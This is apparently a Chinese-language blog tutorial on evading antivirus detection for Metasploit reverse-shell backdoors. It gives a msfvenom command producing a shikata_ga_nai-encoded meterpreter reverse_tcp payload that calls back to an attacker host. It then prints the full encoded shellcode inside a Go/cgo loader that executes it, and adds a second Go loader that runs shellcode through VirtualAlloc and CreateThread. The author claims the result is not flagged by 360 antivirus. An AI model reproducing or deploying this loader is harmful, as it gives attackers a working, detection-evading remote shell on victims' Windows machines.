关于msf反弹后门的免杀Tips

msf是一个很强大的工具，我经常会在渗透用它来反弹shell，不过它生成的反弹后门会被不少杀软kill，这篇文章只是讲讲我在msf中一个简单的免杀小技巧

思路

我以前接触过一款python的远控，其实说是远控，基本也就是nc的功能加了一个服务端的web页面控制并加了一些其他的功能可以用来管理诸多客户机
这款远控我下载下来用过，并用pyinstaller打包成了exe（缺点是体积太过庞大），惊奇的是，360不杀它，然后自己想着其他语言是不是也会这样，于是我用golang写了一个简易版nc反弹，编译之后，也是不查杀的。python和golang有一个共同点，就是可以用来内联C编程，所以C语言的shellcode按理说应该会达到同样的效果

得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.1.100 -e x86/shikata_ga_nai -i 11 -f py > 1.py

建议是生成32位的，如果想生成64位也可以，-e x86/shikata_ga_nai -i 11是指用x86/shikata_ga_nai编码迭代11次，然后生成py文件
py文件打开是shellcode，我们接下来对它进行一点小改造，对于python去执行shellcode的方法，相信小伙伴都已经不陌生，在《python灰帽子》中有讲解，我今天要使用的是golang，其实个人认为golang执行shellcode的代码是更简洁的

Golang环境搭建

安装Golang32位（建议32位，与前面对应，在测试过程中，如果32位shellcode配合64位golang加32位gcc，就算把golang的GOARCH改为386也依旧会失败，建议一一对应），安装gcc32位（可以使用TDM-GCC）

代码编写

package main

/*
void call(char *code) {
    int (*ret)() = (int(*)())code;
    ret();
}
*/
import "C"
import "unsafe"

func main() {
    buf := ""
    buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"
    buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"
    buf += "\x46\x84\xfd\x72\xee\x0e\xb5\x96\x37\x04\x6d\x63\x9f"
    buf += "\xcc\xa4\x3a\x8e\x8c\xf7\x39\x81\xca\xe4\x42\xff\xce"
    buf += "\xa3\xa2\xdb\x06\xc0\x3f\xaf\x41\x73\xba\xf7\x20\x13"
    buf += "\x98\x8c\xff\xfa\x0a\xda\x6e\xf2\x6d\xc3\x81\x07\xc0"
    buf += "\x1b\x37\xeb\xa2\xa9\x32\x71\xaf\xe9\x20\xd1\xaa\x9e"
    buf += "\xbd\x82\xf3\x81\x1f\xab\xbf\xc4\xd9\x6c\x75\x37\x3a"
    buf += "\x53\x78\x90\x79\xaf\x93\x1b\xb3\x15\x09\xe5\x45\x5c"
    buf += "\x26\x0f\x0d\x16\x52\xf1\x8a\x7e\x8b\xc4\x50\x8e\x0a"
    buf += "\x38\x2f\x2b\x40\x73\x0b\xf0\x51\x5f\xc6\xbf\x04\x47"
    buf += "\x80\x36\xe5\x88\x88\xb3\xfc\xa0\x52\xfe\x92\x81\x8d"
    buf += "\x89\xf2\x6a\xcc\x7f\x9a\xe9\x1a\x30\x73\xa3\x63\x42"
    buf += "\x10\xe9\xcf\x62\xe4\x06\x52\xe1\x8d\x88\xfe\x52\xc4"
    buf += "\xc3\xed\x7a\x0e\x66\x5f\x8c\x2c\xef\xfa\xbd\x8c\x79"
    buf += "\x6c\x01\xe3\x5c\xde\xc4\x8a\x4c\x7d\x34\x32\xb5\x23"
    buf += "\x56\x6c\x52\x3f\x15\x26\x6a\xf8\x6b\x81\x2c\x23\x8d"
    buf += "\x41\x6e\x24\x30\xc6\xcb\xba\x26\xd4\x3b\x37\xd3\xc6"
    buf += "\xa8\x5a\x16\x8f\x1e\x27\xca\xcb\xda\x7f\x74\x62\xb2"
    buf += "\x62\xa6\xb1\xfc\x64\x53\x3a\xa7\xa4\x21\x3d\x79\x08"
    buf += "\x06\x74\x2a\xa2\xe7\x0d\x68\x16\xa3\x96\xe5\xad\x32"
    buf += "\x10\xa3\x0f\x49\xc3\x69\xa7\x5b\x61\x1a\xf8\x1d\x9e"
    buf += "\x9b\x3a\x00\xfc\x18\xc3\x42\x1a\xd6\x44\x5d\xfe\xc5"
    buf += "\xb6\x68\xd2\xad\x24\xda\x74\xa7\xf3\x66\x9a\x42\x7a"
    buf += "\x50\xf0\x0b\x47\xbc\xad\x6c\x1e\xca\xbe\x90\xca\xc3"
    buf += "\x8e\x5b\xde\x66\xe2\xb3\x20\x6f\x38\x17\xc1\xac\xfb"
    buf += "\xd3\x2f\x91\xa7\xff\x65\xd7\xd0\x25\x4c\xd4\xb3\x35"
    buf += "\x38\xa1\x82\xb8\x23\x42\xe9\xa5\x95\x8e\xc4\x35\xca"
    buf += "\x92\xfe\xde\x62\x70\xd6\x7a\x7f\xfd\xfb\xf0\x24\xbd"
    buf += "\x5d\x6d\x3d\x13\xbc\x1d\x25\x54\x9d\x0e\x68\xc8\x9a"
    buf += "\x10\x87\xf0\xc9\xac\x37\x57\x84\x23\x5f\x8a\xc0\xab"
    buf += "\x52\x6e\xae\x79\xa2\xdb\xff\xd8\x41\x28\x8b\xd3\x9d"
    buf += "\x68\x3c\x55\xf2\xfe\x0c\x8a\x38\xdf\xb3\x80\x9b\x70"
    buf += "\x2b\x4e\xe1\xfa\x0b\xfe\xf5\xc3\x1a\x0d\x83\xb0\x69"
    buf += "\xd0\x68\xfb\xe0\xae\xbd\x56\x52\x17\x9a\xf8\x8f\xc0"
    buf += "\x14\x8c\xb0\xf7\x0e\x87\xfa\x54\xf4\x04\x4a\x5a\xc8"
    buf += "\x89\x57\x0e\xbf\x7a\x76\x9b\xfe\xb8\x5f\x31\x42\xec"
    buf += "\xaf\x18\x9e\x3f\xf0\x09\x79\x86\xb3\x08\x29\x50\xfd"
    buf += "\xc3\x46\x7d\x24\x51\x5b\xd0\x81\x19\x6f\xc2\x2c\x17"
    buf += "\xab\xa3\xb7\xd9\x6f\x82\xd9\x37\x5f\x38\x01\xd8\xfd"
    buf += "\xfd\x11\x22\x61\xd0\x92\x45\x37\x4f\x6c\x4e\x91\x3b"
    buf += "\x42\x07\xc5\x77\xdc\x52\xd6\xc7\x9d\x7b\x62\xba\x1c"
    buf += "\x62\x3c\xde\xad\x96\x03\x55\xde\x9d\x52\x5c\x5d\x0c"
    buf += "\x73\x0e\xc3\x4c\xae\x7d\x1c\x7c\x64\xaf\xbb\xce\xa6"
    buf += "\x02\x0e\xb1\x51\xc4\x2d\x1b\x6b\xb7\x7c\xd9\x4b\xc3"
    buf += "\x8c\x43\xd6\x1b\x2a\x4f\x5e\x0a\x9a\xd5\x4d\x45\x64"
    buf += "\x6c\x0c\xc8\xf5\x59\xd7\x45\x36\x85\x99\x8d\x34\x65"
    buf += "\x21\xd3\x3b\x35\xce\x22\x29\x0c\x4e\xca\x48\x3f\x55"
    buf += "\x5d\x1b\xda\x35\xc1\x2d"
    // at your call site, you can send the shellcode directly to the C
    // function by converting it to a pointer of the correct type.
    shellcode := []byte(buf)
    C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

以上就是全部代码
其实Golang还有个执行shellcode的方法是不用内联C语言的，但是我这边测试能接到反弹shell，但是执行命令会直接断开，代码我也贴出来

package main

import (
    "syscall"
    "unsafe"
)

func ThreadExecute(Shellcode []byte) {
    var K32 = syscall.MustLoadDLL("kernel32.dll")
    var CreateThread = K32.MustFindProc("CreateThread")
    var VirtualAlloc = K32.MustFindProc("VirtualAlloc")
    var WaitForSingleObject = K32.MustFindProc("WaitForSingleObject")

    Addr, _, _ := VirtualAlloc.Call(0, uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
    AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))

    for i := 0; i < len(Shellcode); i++ {
        AddrPtr[i] = Shellcode[i]
    }

    ThreadAddr, _, _ := CreateThread.Call(0, 0, Addr, 0, 0, 0)
    WaitForSingleObject.Call(ThreadAddr, 0xFFFFFFFF)
}

关于断开的原因，希望找出原因的能告知我一下，其实我们会发现，内联C是比较简单的